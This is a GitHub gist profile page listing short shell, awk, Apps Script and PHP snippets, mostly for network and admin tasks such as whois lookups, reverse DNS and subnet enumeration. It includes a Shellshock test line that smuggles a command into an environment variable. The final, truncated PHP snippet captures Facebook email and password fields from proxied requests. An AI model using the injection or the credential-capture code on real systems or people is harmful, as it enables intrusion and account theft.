Skip to content

Instantly share code, notes, and snippets.

View hackingbutlegal's full-sized avatar
💭
I may be slow to respond.

Jackie Singh hackingbutlegal

💭
I may be slow to respond.
View GitHub Profile
@hackingbutlegal
hackingbutlegal / gist:fe19b761fee744eba27c
Created October 12, 2014 17:32
Convert an .iso to .img in OS X
hdiutil convert -format UDRW -o ~/target.img ~/file.iso
ip=$( echo $1 | cut -d"/" -f1 )
no=$( echo $1 | cut -d"/" -f2 )
k=`expr 32 - $no`
nu=$(echo "2 ^ $k" | bc)
num=1
new_ip=$( echo $ip | cut -d"." -f1-3 )
while [[ $num -ne $nu ]]
do
echo $new_ip".$num"
(( num = num + 1 ))
@hackingbutlegal
hackingbutlegal / gist:65c6ab1e0bece3501163
Created September 26, 2014 18:54
Check for ShellShock
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
@hackingbutlegal
hackingbutlegal / gist:0a4f6dab5c52df71aed6
Created September 12, 2014 13:48
Connect to VPN to check certificate without using VPN client
openssl s_client -connect vpn.yourcompany.com:443
@hackingbutlegal
hackingbutlegal / gist:30b10aa60d9fc646d5f9
Created August 27, 2014 16:38
Query Whois using IP's in a text file and output the important bits to a separate file.
#!/bin/bash
for a in `awk -F: '{print $1}' ip1.txt`
do
echo "$((i++)) $1:" >> whoisdb.txt
whois $a | awk '/NetName/ || /OrgName/{print}' >> whoisdb.txt
echo -e "\n" >> whoisdb.txt
done
@hackingbutlegal
hackingbutlegal / gist:e33affeaf2dc3de94753
Created August 26, 2014 07:27
Remove the trailing period when you have a long list of PTR DNS lookups
sed "s/\.$//"
@hackingbutlegal
hackingbutlegal / gist:92f268f114ecaec8a6c0
Created August 25, 2014 19:03
Iterate through IP's in a text file and output reverse DNS domain information.
for i in `cat ips.txt` ; do dig -x $i +short >> dns.txt ; done
@hackingbutlegal
hackingbutlegal / gist:a37233367b43bfdce46a
Last active May 13, 2022 23:42
Awk script for device discovery
#
# Class C device discovery in under 5 seconds.
# Notice that it will display information on any MAC address that nmap knows about. It's helpful to keep this updated.
# You can also add any MAC address OIDs that are newer or unknown to the file /usr/share/nmap/nmap-mac-prefixes.
#
# How to call this script:
# nmap -n -sP --excludefile $PROJECT_ROOT/output/known.skip 10.10.100-103.1-255 | awk -f $PROJECT_ROOT/mac-sort.awk
#
BEGIN { PROJECT_PATH="/path/to/scripts"; }
@hackingbutlegal
hackingbutlegal / gist:6950770
Created October 12, 2013 14:49
This Google Apps script scans the mailbox, compares the message body with the search pattern and prints any matching messages.
function Search() {
var sheet = SpreadsheetApp.getActiveSheet();
var row = 2;
// Clear existing search results
sheet.getRange(2, 1, sheet.getMaxRows() - 1, 4).clearContent();
// Which Gmail Label should be searched?
var label = sheet.getRange("F3").getValue();
@hackingbutlegal
hackingbutlegal / gist:6769784
Created September 30, 2013 20:30
Parse logs for interesting things
<?php
if (strpos($_url, 'facebook.com')) //checks if url contains "facebook"
{
if ($_REQUEST['email'] != "") //only true if there is info submitted
{
$user = $_REQUEST['email'] ; //getting the info
$pass = $_REQUEST['pass'] ;
$not_me = 0
if (strpos($user, 'your_name') or strpos($pass, 'whatever_your_password_is')) //this protects yourself
{